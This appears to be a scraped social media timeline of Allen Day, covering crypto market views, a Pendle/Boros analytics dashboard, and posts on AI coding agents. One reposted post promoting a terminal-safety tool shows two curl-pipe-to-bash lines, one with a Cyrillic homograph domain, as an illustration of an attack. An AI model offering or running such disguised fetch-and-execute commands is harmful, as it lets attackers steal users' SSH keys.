Allen Day

VP @primitivecrypto | Prev: founder @Google web3 | Human Genetics @UCLA

[Allen Day @allenday]

@d_gusakov @ethereum "Likely" is doing the heavy lifting here.

[Erik Voorhees @ErikVoorhees]

In crypto and defi (ie in honest markets), when a component fails, those closest to the component—whether wildly negligent or innocent victim—suffer the loss, and are burdened with that responsibility. Unequal, but proper.

In tradfi and banking (ie in coercively manipulated markets), when a component fails, the entire society is forced under the burden of its resolution. Costs are socialized. Equal, but improper.

The former, with time, becomes self-correcting, self-improving, and crucially, retains vitality. The latter, regardless of time, becomes stagnant and soulless, and here everyone can wallow in an equivalent grey.

Any man of agency should prefer the former, taking care over that to which he is proximate. It is from this that the virtue of markets emerges.

[Arthur @arthur0x]

Very good framework to prepare for what's coming in the market.

[Allen Day @allenday]

@0xZergs doesn't require an invasion. quarantine is sufficient.

[Allen Day @allenday]

Confirmed amazing. Using this for months already.

[Ihtesham Ali @ihtesham2005]

🚨 Holy shit...A developer on GitHub just built a full development methodology for AI coding agents and it has 40.9K stars on GitHub.

It's called Superpowers, and it completely changes how your AI agent writes code.

Right now, most people fire up Claude Code or Codex and just… let it go. The agent guesses what you want, writes code before understanding the problem, skips tests, and produces spaghetti you have to babysit.

Superpowers fixes all of that.

Here's what happens when you install it:

→ Before writing a single line, the agent stops and brainstorms with you. It asks what you're actually trying to build, refines the spec through questions, and shows it to you in chunks short enough to read.

→ Once you approve the design, it creates an implementation plan so detailed that "an enthusiastic junior engineer with poor taste and no judgement" could follow it.

→ Then it launches subagent-driven development. Fresh subagents per task. Two-stage code review after each one (spec compliance, then code quality). The agent can run autonomously for hours without deviating from your plan.

→ It enforces true test-driven development. Write failing test → watch it fail → write minimal code → watch it pass → commit. It literally deletes code written before tests.

→ When tasks are done, it verifies everything, presents options (merge, PR, keep, discard), and cleans up.

The philosophy is brutal: systematic over ad-hoc. Evidence over claims. Complexity reduction. Verify before declaring success.

Works with Claude Code (plugin install), Codex, and OpenCode.

This isn't a prompt template. It's an entire operating system for how AI agents should build software.

100% Opensource. MIT License.

[Allen Day @allenday]

@boros_fi Please build BLP @gabavineb

[Ryan Lopopolo @_lopopolo]

🛠️ Software’s production function changed.

Beyond “AI writes code,” implementation is no longer the scarce resource. The bottlenecks moved to:

- specifying what you want
- building feedback loops
- noticing when the system is wrong

https://t.co/Rjfhfgx7vB

[Allen Day @allenday]

@Ugbuericsam 🤣

[Allen Day @allenday]

Analytics dashboard for @pendle_fi @boros_fi : https://t.co/KrDD6aBtk3

Currently portfolio and vault metrics #dataviz, work in progress. Next: trades and OB

[Allen Day @allenday]

@Neoo_Nav @tn_pendle @PendleIntern @Rightsideonly @gabavineb @imkenchia @pendle_grandma @pendlechads @chutoro_au @crypto_linn @DarkLord_gr @BTCLIN @Jonasoeth @quant_sheep @LisaFlorentina8 @0xCheeezzyyyy @Milk_Trudge @DeFi_Perryy @YashasEdu @belizardd Fresh Boros drop, Chads & fellows :

https://t.co/J981Lbd9gx

[Allen Day @allenday]

Check out my @pendle_fi @boros_fi analytics dashboard: https://t.co/KrDD6aBtk3

Currently portfolio and vault metrics #dataviz, work in progress. Soon: trades and OB

[Allen Day @allenday]

Claude's charisma halo effect is killing your project's performance.

The agent is not very competent but it manages up very well.

So humans hallucinate competence.

Inverse checks out. Many humans despise codex. It's has poor conversation skills.

[Allen Day @allenday]

@graciehartie Try Detroit

[YQ @yq_acc]

Git says 5% of GitHub commits are AI-authored. @github says 41% of new code is AI-generated.

That's an 8x gap. @claudeai @OpenAI @cursor_ai @DevinAI

We analyzed 932K agent PRs across 116K repos. Here's who's actually writing the code.

[Allen Day @allenday]

@DoveyWan @openclaw Skill is written up here: https://t.co/KjHAgM3orw

[Allen Day @allenday]

https://t.co/XTk2063Rnq

[Allen Day @allenday]

https://t.co/XTk2063Rnq

[YQ @yq_acc]

https://t.co/860OTKLD3v

[Sheeki @sheeki03]

Be honest. When was the last time you actually read a command before pasting it into your terminal?

Because these two lines look identical:

curl -sSL https://install.example-cli | bash
curl -sSL https://іnstall.example-clі | bash

One installs your tool. The other steals your SSH keys.

That і? Cyrillic. Not Latin. Your browser would block it. Your terminal doesn't even blink.

Vibe coding made this 100x worse. Everyone's pasting commands from ChatGPT and random repos like it's nothing. We're all one bad curl | bash away from losing everything.

So I built the fix: "tirith". Invisible shell hook. Catches homograph attacks, ANSI injection, hidden commands, dotfile overwrites before they execute. 30 rules. Local only. No telemetry.

https://t.co/tIb4xThUn5

[Allen Day @allenday]

402 is the new 401

[Allen Day @allenday]

429 is the new 503